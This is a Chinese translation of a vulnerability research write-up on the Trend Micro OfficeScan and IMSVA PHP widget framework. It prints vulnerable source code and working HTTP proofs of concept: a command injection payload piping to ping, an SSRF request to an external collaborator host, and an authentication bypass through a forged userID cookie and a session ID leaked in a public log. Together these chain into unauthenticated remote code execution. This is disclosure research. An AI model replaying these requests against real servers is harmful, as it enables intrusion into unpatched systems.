2017-10-10 16:11:05
阅读：1464次
点赞(0)
收藏
来源： 安全客
作者：shan66
译者：shan66
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
前言
框架的安全性已经越来越引起安全人员的关注，例如Apache Struts案例中由于框架内单一漏洞所引发的安全冲击想必大家早有耳闻。如果从产品供应商的角度来考虑这种风险的话，我们也能找到非常类似的情形。在本文中，我将向您展示如何在不同的趋势科技产品远程执行代码，因为这些不同产品都使用了相同的代码库。
一个漏洞通杀所有产品——趋势科技产品的Widget
大多数趋势科技的产品都为管理员网页提供了相应的widget。虽然核心系统是通过Java/.NET编写的，但是这个widget机制却是用php实现的。这就意味着，每当使用widget时，相应的产品中必须植入PHP解释器。这对于攻击者来说，简直就是一个完美的情形：由于各种不同的产品中含有相同的代码库，所以一旦从中发现了漏洞，就能够顺利搞定所有的产品。
由于上面提到的原因，我对趋势科技OfficeScan产品的widget系统进行了一次代码审核。这次审计的结果一方面是非常有趣的，同时对我来说也是不幸的，因为虽然找到了6个不同的漏洞，但只有2个是0day。
在深入了解该漏洞之前，我想先分享一下这个widget库的工作原理。
从头开始
这个widget框架有一个代理机制。简而言之，我们有一个proxy_controller.php端点，它会接收用户提供的参数，然后根据用户的输入来调用相关的类。
widget的类型主要有两种：用户生成的widget和默认的widget。以下源代码取自proxy_controller.php文件。
if(!isset($g_GetPost)){ $g_GetPost=array_merge($_GET,$_POST); }else{ $g_GetPost=array_merge($g_GetPost,$_GET,$_POST); } //...CODEOMIT... $server_module=$g_GetPost['module']; $isDirectoryTraversal=WF::getSecurityFactory()->getSanitize()->isDirectoryTraversal($server_module); if(true===$isDirectoryTraversal){ mydebug_log("Badguycomein!!"); proxy_error(WF_PROXY_ERR_INIT_INVALID_MODULE,WF_PROXY_ERR_INIT_INVALID_MODULE_MSG); } $intUserGeneratedInfoOfWidget=(array_key_exists('userGenerated',$g_GetPost))?$g_GetPost['userGenerated']:0; if($intUserGeneratedInfoOfWidget==1){ $strProxyDir=USER_GENERATED_PROXY_DIR; }else{ $strProxyDir=PROXY_DIR; } $myproxy_file=$strProxyDir."/".$server_module."/Proxy.php"; //nullbyteinjectionprevents if(is_string($myproxy_file)){ $myproxy_file=str_replace("\0",'',$myproxy_file); } //doesfileexist? if(file_exists($myproxy_file)){ include($myproxy_file); }else{ proxy_error(WF_PROXY_ERR_INIT_INVALID_MODULE,WF_PROXY_ERR_INIT_INVALID_MODULE_MSG); } //doesclassexist? if(!class_exists("WFProxy")){ proxy_error(WF_PROXY_ERR_INIT_MODULE_ERROR,WF_PROXY_ERR_INIT_MODULE_ERROR_MSG); } //...CODEOMIT... $request=newWFProxy($g_GetPost,$wfconf_dbconfig); $request->proxy_exec(); $request->proxy_output();上述代码块将分别执行以下操作。
1. 合并GET和POST参数，然后将它们存储到$ g_GetPost变量中。
2. 验证$ g_GetPost ['module']变量。 3. 然后通过检测$ g_GetPost ['userGenerated']参数来确定是否请求由用户生成的窗口widget。4. 包含所需的php类。
5. 作为最后一步，创建一个WFProxy实例，然后调用proxy_exec()和proxy_output()方法。
基本上，我们会有多个WFProxy实现，而具体引用哪一个WFProxy实现则是由来自客户端的值所决定的。
好了，有了上面的知识做铺垫，接下来就可以深入探讨我发现的各种技术细节了，因为所有这些内容，都是关于如何利用不同的类来传递参数的。
漏洞＃1——认证命令注入
以下代码取自modTMCSS的WFProxy实现。
publicfunctionproxy_exec() { //localhost,directlylaunchreport.php if($this->cgiArgs['serverid']=='1') { if($this->cgiArgs['type']=="WR"){ $cmd="php../php/lwcs_report.php"; $this->AddParam($cmd,"t"); $this->AddParam($cmd,"tr"); $this->AddParam($cmd,"ds"); $this->AddParam($cmd,"m"); $this->AddParam($cmd,"C"); exec($cmd,$this->m_output,$error); if($error!=0) { $this->errCode=WF_PROXY_ERR_EXEC_OTHERS; $this->errMessage="execlwcs_report.phpfailed.err=$error"; } } else{ $cmd="php../php/report.php"; $this->AddParam($cmd,"T"); $this->AddParam($cmd,"D"); $this->AddParam($cmd,"IP"); $this->AddParam($cmd,"M"); $this->AddParam($cmd,"TOP"); $this->AddParam($cmd,"C"); $this->AddParam($cmd,"CONSOLE_LANG"); exec($cmd,$this->m_output,$error); if($error!=0) { $this->errCode=WF_PROXY_ERR_EXEC_OTHERS; $this->errMessage="execreport.phpfailed.err=$error"; } } } privatefunctionAddParam(&$cmd,$param) { if(isset($this->cgiArgs[$param])) { $cmd=$cmd.$param."=".$this->cgiArgs[$param].""; } }显然，我们有可能从这里找到一个命令注入漏洞。但是我们还面临一个问题：我们可以控制$this-> cgiArgs数组吗？ 答案是肯定的。如果回顾一下前面的代码，你会发现$request = new WFProxy（$g_GetPost，$wfconf_dbconfig），因此$g_GetPost是完全可控的。
每一个WFProxy类都继承自ABaseProxy抽象类；下面是这个基类的__construct方法的前两行代码。
public function __construct($args, $dbconfig){
$this->cgiArgs = $args;
这意味着，$this->cgiArgs直接是通过GET和POST参数进行填充的。
PoC
POST/officescan/console/html/widget/proxy_controller.phpHTTP/1.1 Host:12.0.0.184 User-Agent:Mozilla/4.0(compatible;MSIE6.0;windowsNT5.1) Cookie:;LogonUser=root;wf_CSRF_token=fb5b76f53eb8ea670c3f2d4906ff1098;PHPSESSID=edir98ccf773n7331cd3jvtor5; X-CSRFToken:fb5b76f53eb8ea670c3f2d4906ff1098 ctype:application/x-www-form-urlencoded;charset=utf-8 Content-Type:application/x-www-form-urlencoded Content-Length:6102 module=modTMCSS&serverid=1&TOP=2>&1|ping4.4.4.4重要提示：当exec()函数用于第二和第三个函数参数时，如果要使用管道技巧的话，则只需要成功执行第一个命令即可。这时，我们的命令将变成php ../php/lwcs_report.php TOP = 2>＆1 | ping 4.4.4.4。其中，这里使用2>＆1是为了欺骗exec()函数，因为我们在产品根本就没有lwsc_report.php这个脚本。因此，命令的第一部分总是返回command not found错误。
不幸的是，我意识到这个漏洞是由Source Incite的Steven Seeley发现的；并且，在几个星期前，供应商就发布了相应的补丁（http://www.zerodayinitiative.com/advisories/ZDI-17-521/）。 根据该补丁建议来看，需要进行身份验证之后才能利用该漏洞。此外，我找到了一种方法，可以来绕过身份验证，目前这种漏洞利用方法还是一个0day。 关于这个0day的详细介绍，请参考漏洞#_6。
漏洞＃2＃3＃4——泄露私钥 & 公开访问Sqlite3 & SSRF
另一位研究人员（John Page，又名hyp3rlinx）也发现了这些漏洞。不过，这些漏洞并非本文的重点关注对象，所以不做介绍。对于这些漏洞的技术细节感兴趣的读者，可以访问下面的链接https://www.exploit-db.com/exploits/42920/。
漏洞＃5——服务端请求伪造（0day）
您还记得以前提到过的那两种类型的widget（用户生成的widget和系统widget）吗？ 趋势科技在代码库中提供了一个默认用户生成的widget实现。它的名字是modSimple。我相信它肯定还留在项目中，用来演示如何实现自定义widget。
下面是这个widget的proxy_exec()函数的实现代码。
publicfunctionproxy_exec(){ $this->httpObj->setURL(urldecode($this->cgiArgs['url'])); if($this->httpObj->Send()==FALSE){ //HandleTimeoutissuehere if($this->httpObj->getErrCode()===28) { $this->errCode=WF_PROXY_ERR_EXEC_TIMEOUT; } else { $this->errCode=WF_PROXY_ERR_EXEC_CONNECT; } $this->errMessage=$this->httpObj->getErrMessage(); } } 我们可以看到，它直接就使用了url参数，而没有进行任何验证。也许您还记得，$this-> cgiArgs ['url']是一个用户控制的变量。PoC
POST/officescan/console/html/widget/proxy_controller.phpHTTP/1.1 Host:12.0.0.200 User-Agent:Mozilla/5.0(WindowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/47.0.2526.73Safari/537.36 Accept:application/json Accept-Language:en-US,en;q=0.5 Accept-Encoding:gzip,deflate X-Requested-With:XMLHttpRequest X-Request:JSON X-CSRFToken:o6qjdkto700a43nfslqpjl0rm5 Content-type:application/x-www-form-urlencoded;charset=utf-8 Referer:https://12.0.0.200:8445/widget/index.php Content-Length:192 Cookie:JSESSIONID=C2DC56BE1093D0232440A1E469D862D3;CurrentLocale=en-US;PHPSESSID=o6qjdkto700a43nfslqpjl0rm5;un=7164ceee6266e893181da6c33936e4a4;userID=1;;wids=modImsvaSystemUseageWidget%2CmodImsvaMailsQueueWidget%2CmodImsvaQuarantineWidget%2CmodImsvaArchiveWidget%2C;lastID=4;cname=dashBoard;theme=default;lastTab=3;trialGroups=newmenu%0D%0AX-Footle:%20bootle X-Forwarded-For:127.0.0.1 True-Client-Ip:127.0.0.1 Connection:close module=modSimple&userGenerated=1&serverid=1&url=http://azdrkpoar6muaemvbglzqxzbg2mtai.burpcollaborator.net/漏洞＃6 - 认证绕过漏洞（0day）
前面说过，核心系统是用Java/.NET编写的，但是这个widget系统是用PHP实现的。所以，这里最大的问题是：
当请求到达widget时，它们怎样才能知道用户已经通过了身份验证呢？
回答这个问题的最简单的方法是，跟踪Burp日志，检查用户是否了登陆了视图仪表板，因为登陆是通过widget进行的。以下HTTP POST请求引起了我的注意。
POST/officescan/console/html/widget/ui/modLogin/talker.phpHTTP/1.1 Host:12.0.0.175 User-Agent:Mozilla/5.0(WindowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/47.0.2526.73Safari/537.36 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language:en-US,en;q=0.5 Accept-Encoding:gzip,deflate Cookie:session_expired=no;;LogonUser=root;wf_CSRF_token=c7ce6cd2ab50bd787bb3a1df0ae58810 Connection:close Upgrade-Insecure-Requests:1 Content-Length:59 X-CSRFToken:c7ce6cd2ab50bd787bb3a1df0ae58810 Content-Type:application/x-www-form-urlencoded cid=1&act=check&hash=425fba925bfe7cd8d80a8d5f441be863&pid=1以下代码便是取自该文件。
if(!WF::getSecurityFactory()->getHttpToken()->isValidHttpHeaderToken()){ make_error_response(WF_ERRCODE_HTTP_HEADER_TOKEN_ERR,WF_ERRCODE_HTTP_HEADER_TOKEN_ERR_MSG); exit(); } //...CODEOMIT... if($_REQUEST['act']=="check"){ mydebug_log("[LOGIN][check]"); if((!isset($_REQUEST['hash'])||$_REQUEST['hash']=="")){ make_error_response(LOGIN_ERRCODE_LACKINPUT,LOGIN_ERRCODE_LACKINPUT_MSG."(email)"); exit; } //checkuserstate $recovered=false; if(STANDALONE_WF){ mydebug_log("[LOGIN][check]recoversessionSTANDALONE"); $recovered=$wfuser->standalone_user_init(); }else{ mydebug_log("[LOGIN][check]recoversessionPRODUCT"); $recovered=$wfuser->product_user_init(); } if($recovered==false){ mydebug_log("[LOGIN][check]recoversessionfailed"); make_error_response(LOGIN_ERRCODE_LOGINFAIL,LOGIN_ERRCODE_LOGINFAIL_MSG); exit; } mydebug_log("[LOGIN][check]recoversessionok"); /* *returnthewidgetsofonlyfirsttab */ $ckresult=$wfuser->check_result($_REQUEST['pid'],$_REQUEST['cid']); if($ckresult==false){ make_error_response(LOGIN_ERRCODE_DBERR,LOGIN_ERRCODE_DBERR_MSG); }else{ mydebug_log("[LOGIN][check]checkresult:".$ckresult); make_successful_response(LOGIN_OK_SUCCESS_MSG,$ckresult); } exit; }首先，我们在这里进行的是CSRF验证。但重要的代码位于17-23行之间。 $wfuser-> standalone_user_init()和$wfuser-> product_user_init()负责使用widget框架进行身份验证。下面，让我们从第一个调用开始介绍。
这里有4个内部函数调用序列。
publicfunctionstandalone_user_init(){ mydebug_log("[WFUSER]standalone_user_init()"); if(isset($_COOKIE['userID'])){ return$this->recover_session_byuid($_COOKIE['userID']); } mydebug_log("[WFUSER]standalone_user_init():cookieuserIDisn'tset"); returnfalse; } publicfunctionrecover_session_byuid($uid){ mydebug_log("[WFUSER]recover_session_byuid()".$uid); if(false==$this->loaduser_byuid($uid)){ mydebug_log("[WFUSER]recover_session_byuid()failed"); returnfalse; } return$this->recover_session(); } publicfunctionloaduser_byuid($uid){ mydebug_log("[WFUSER]loaduser_byuid()".$uid); //loaduser $uinfolist=$this->userdb->get_users($uid); if($this->userdb->isFailed()){ returnfalse; } //noexists if(!isset($uinfolist[0])){ returnfalse; } //getuserinfo $this->userinfo=$uinfolist[0]; returntrue; } publicfunctionget_users($uid=null){ //specifyuid $work_uid=$this->valid_uid($uid); if($work_uid==null){ return; } //querystring $sqlstring='SELECT*from'.$this->users_table.'WHEREid=:uid'; $sqlvalues[':uid']=$work_uid; return$this->runSQL($sqlstring,$sqlvalues,"Get".$this->users_table."failed",1); }上述代码分别执行以下操作。
1. 从cookie获取相应的值
2. 调用loaduser_byuid()并将相应的值传递给该函数。
3. 用给定的值调用get_users()函数。 如果该函数返回true，它将返回true，从而让前面的函数继续并调用recover_session()函数。
4. get_users()函数将利用给定的唯一id执行SQL查询。
$wfuser-> product_user_init()函数序列几乎没有什么变化。 $wfuser-> standalone_user_init()和$wfuser-> product_user_init()之间的唯一区别就是第一个函数使用user_id，而第二个函数则使用username。
我在这里没有看到任何身份验证。甚至连hash参数都没有使用。所以使用相同的变量调用这个端点将顺利通过身份验证。
一个漏洞搞定所有产品（Metasploit Module）
现在我们发现了两个漏洞。第一个是最近修补的命令注入漏洞，第二个是widget系统的身份验证绕过漏洞。如果将这些漏洞组合起来，我们就能在没有任何身份凭证的情况下执行操作系统的命令。
下面是相应的metasploit模块的演示。 (https://github.com/rapid7/metasploit-framework/pull/9052)
相同的代码/漏洞：趋势科技InterScan Messaging Security产品的RCE漏洞
在这个widget框架方面，InterScan Messaging Security和OfficeScan的区别之一就是..路径！
OfficeScan的widget框架路径：
https://TARGET/officescan/console/html/widget/proxy_controller.php
IMSVA widget 框架的路径:
https://TARGET:8445/widget/proxy_controller.php
另一个主要区别就是widget认证。对于talker.php来说，IMSA稍微有些不同，具体如下所示。
if(!isset($_COOKIE["CurrentLocale"])) { echo$loginscript; exit; } $currentUser; $wfsession_checkURL="Https://".$_SERVER["SERVER_ADDR"].":".$_SERVER["SERVER_PORT"]."/WFSessionCheck.imss"; $wfsession_check=newWFHttpTalk(); $wfsession_check->setURL($wfsession_checkURL); $wfsession_check->setCookies($_COOKIE); if(isset($_COOKIE["JSESSIONID"])) mydebug_log("[product_auth]JSEEEIONID:".$_COOKIE["JSESSIONID"]); $wfsession_check->Send(); $replycode=$wfsession_check->getCode(); mydebug_log("[product_auth]replycode-->".$replycode); $replybody=$wfsession_check->getBody(); mydebug_log("[product_auth]replybody-->".$replybody); if($replycode!=200) { mydebug_log("[product_auth]replycode!=200"); echo$loginscript; exit; }它从用户那里取得JSESSIONID的值，然后使用这个值向WFSessionCheck.imss发送HTTP请求，在那里通过核心Java应用进行用户身份验证。看起来，这好像能够防止上面发现的身份验证绕过漏洞，但实际上并非如此。为此，我们需要仔细研读上面的代码：即使请求中不存在JSESSIONID的时候，上述代码也会使用JSESSIONID来调用mydebug_log()函数。
请注意，该日志文件是可通过Web服务器公开访问的。
https://12.0.0.201:8445/widget/repository/log/diagnostic.log所以，要想利用OfficeScan中的漏洞的话，我们只需要添加一个额外的步骤即可。也就是说，我们需要读取这个日志文件的内容，以便提取有效的JSESSIONID值，然后利用它来绕过身份验证。
下面是相应的metasploit模块的演示。 (https://github.com/rapid7/metasploit-framework/pull/9053)
小结
首先，我想再次重申，趋势科技已经为这两种产品中的命令注入漏洞提供了安全补丁。 因此，如果您是趋势科技用户，或您的组织正在使用这些产品的话，请立刻行动起来。
当然，在不同的产品中使用相同的代码库并不是什么坏事。本文只是想指出，在这种情况下，框架中的一个bug就可能会引起很大的麻烦。
那么，到底有多少不同的产品受这个漏洞影响呢？
我不知道，因为目前仅仅检查了这两个产品。当然，如果有时间的话，我还会检查其他产品。
本文由 安全客 翻译，转载请注明“转自安全客”，并附上链接。
原文链接：https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/